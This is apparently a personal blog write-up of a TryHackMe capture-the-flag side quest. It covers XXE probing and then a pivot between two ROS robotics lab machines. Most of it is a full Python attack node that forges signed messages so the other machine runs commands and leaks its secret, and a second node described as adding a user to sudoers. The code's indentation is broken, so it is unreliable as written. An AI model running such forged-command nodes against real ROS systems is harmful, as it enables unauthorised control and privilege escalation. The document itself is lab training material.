Advent of Cyber Side Quest (Part 2)

5 December 2024

Part deux of the TryHackMe Advent of Cyber Side Quest! See Part 1 for context.

The Keycard

On the 5th day of the Advent there were people posting in Discord about finding the T2 keycard, so that was a pretty obvious indication that it was available to be found, unless they were trolling.

The main quest challenged involved XXE (XML eXternal Entity) attacks, so it was rather frustrating fishing around the filesystem looking for the keycard. Eventually I used XXE to return the contents of /proc/net/tcp which reveals, in a numeric encoding, what's listening on which port. This showed that something was listening on port 8080, which was interesting because nmap didn't show that port as open from the outside.

The machine was also running phpmyadmin, which I spent a long time trying to pwn, but the only writeable directory that phpmyadmin had access to was outside the webroot. At long last, some further XXE'ing revealed that there was an Apache2 access log at localhost:8080/access.log which contained a strange path: /k3yZZZZZZZZZ/t2_sm1L3_4nD_w4v3_boyS.png which, perhaps obviously, was the keycard.

Running the two yin and yang machines was initially confusing because I'd never done this even before and I seemingly couldn't reach the machines. nmap eventually revealed that only :21337 was accessible, and browsing to that I understood: It was simulating that the servers had been pwned by the Frosty Five characters, and this was the ransomware page. After rooting the boxes I was later able to determine that the password from the keycard causes the flask app that runs the ransomware page to simply change the firewall rules to allow the box to function "normally".

Yin and Yang

This was a really interesting room. There are two machines to run, Yin and Yang, and each is running a robotics platform called ROS which I had never heard of before this day. There was some language in the challenge description about how each machine needs the other, so I assumed (correctly, as it turned out) that you'd have to sort of pivot back and forth between the machines. It took a lot of reading before I finally understood wtf was going on, but the key insights were in each machine under /catkin_ws/ where each machine had a start script. What was immediately apparent was that each machine was supposed to be sending different data to the other, and each machine was validating/responding to the data differently.

ROS works a little bit like mqtt, in that it's a pub-sub message bus, so you can inspect the bus with rostopic but the network graph wasn't connected properly. There needed to be a master node to which both machines would run. So, it was necessary to do the following:

On yin:

On yang:

That got me yin's private key, which I could then use to write a malicious node, that would forge pings from yin to yang, asking yang to echo the contents of secret.txt which is the "service shared secret" that yin verifies. Getting secret.txt allows us to forge messages from yang back to yin.

#RUN THIS ON YIN

#!/usr/bin/python3

import rospy
import base64
import codecs
import os
from std_msgs.msg import String
from yin.msg import Comms
from yin.srv import yangrequest
import hashlib
from Cryptodome.Signature import PKCS1_v1_5
from Cryptodome.PublicKey import RSA
from Cryptodome.Hash import SHA256

class Attacker:
    def __init__(self):

    self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)


    #Read the message channel private key
    pwd = b'secret'
    with open('/home/yin/yin-privkey.pem', 'rb') as f:
        data = f.read()
        self.priv_key = RSA.import_key(data,pwd)

    self.priv_key_str = self.priv_key.export_key().decode()

    rospy.init_node('attacker')

    self.prompt_rate = rospy.Rate(0.5)

    Read the service secret
    with open('/catkin_ws/secret.txt', 'r') as f:
        data = f.read()
        self.secret = data.replace('\n','')


    # does this need edited??
    self.service = rospy.Service('svc_yang', yangrequest, self.handle_yang_request)

    def handle_yang_request(self, req):

    response = "Action performed"
    return response

    def getBase64(self, message):
    hmac = base64.urlsafe_b64encode(message.timestamp.encode()).decode()
    hmac += "."
    hmac += base64.urlsafe_b64encode(message.sender.encode()).decode()
    hmac += "."
    hmac += base64.urlsafe_b64encode(message.receiver.encode()).decode()
    hmac += "."
    hmac += base64.urlsafe_b64encode(str(message.action).encode()).decode()
    hmac += "."
    hmac += base64.urlsafe_b64encode(str(message.actionparams).encode()).decode()
    hmac += "."
    hmac += base64.urlsafe_b64encode(message.feedback.encode()).decode()
    return hmac

    def getSHA(self, hmac):
    m = hashlib.sha256()
    m.update(hmac.encode())
    return str(m.hexdigest())  

    #This function will craft the signature for the message based on the specific system being talked to
    def sign_message(self, message):
    hmac = self.getBase64(message)
    hmac = SHA256.new(hmac.encode('utf-8'))
    signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
    sig = base64.b64encode(signature).decode()
    message.hmac = sig
    return message

    def craft_ping(self, receiver):
    message = Comms()
    message.timestamp = str(rospy.get_time())
    message.sender = "Yin"
    message.receiver = "Yang"
    message.action = 1
    message.actionparams = ['cat /catkin_ws/secret.txt']
    #message.actionparams.append(self.priv_key_str)
    message.feedback = "ACTION"
    message.hmac = ""
    return message

    def send_pings(self):
    # Yang
    message = self.craft_ping("Yang")
    message = self.sign_message(message)
    self.messagebus.publish(message)

    def run_attacker(self):
    while not rospy.is_shutdown():
        self.send_pings()
        self.prompt_rate.sleep()

if __name__ == '__main__':
    try:
    attacker = Attacker()
    attacker.run_attacker()

    except rospy.ROSInterruptException:
    pass

And with that, we learn that the shared secret is thisisasecretvaluethatyouwillneverguess. Furthermore we can edit message.actionparams to list the contents of /root where we discover the flag, and then we can edit the action params a second time to echo the contents of the flag back to us.

A second malicious node

To get the flag off the yin machine, I used the shared secret to write a second malicious node to be run on yang, which performs more or less the same attack, except instead of echoing the flag I added the yin account to sudoers for all commands so I could simply cd into the directory and read the flag directly.

That was really interesting and fun! Onto Task 3!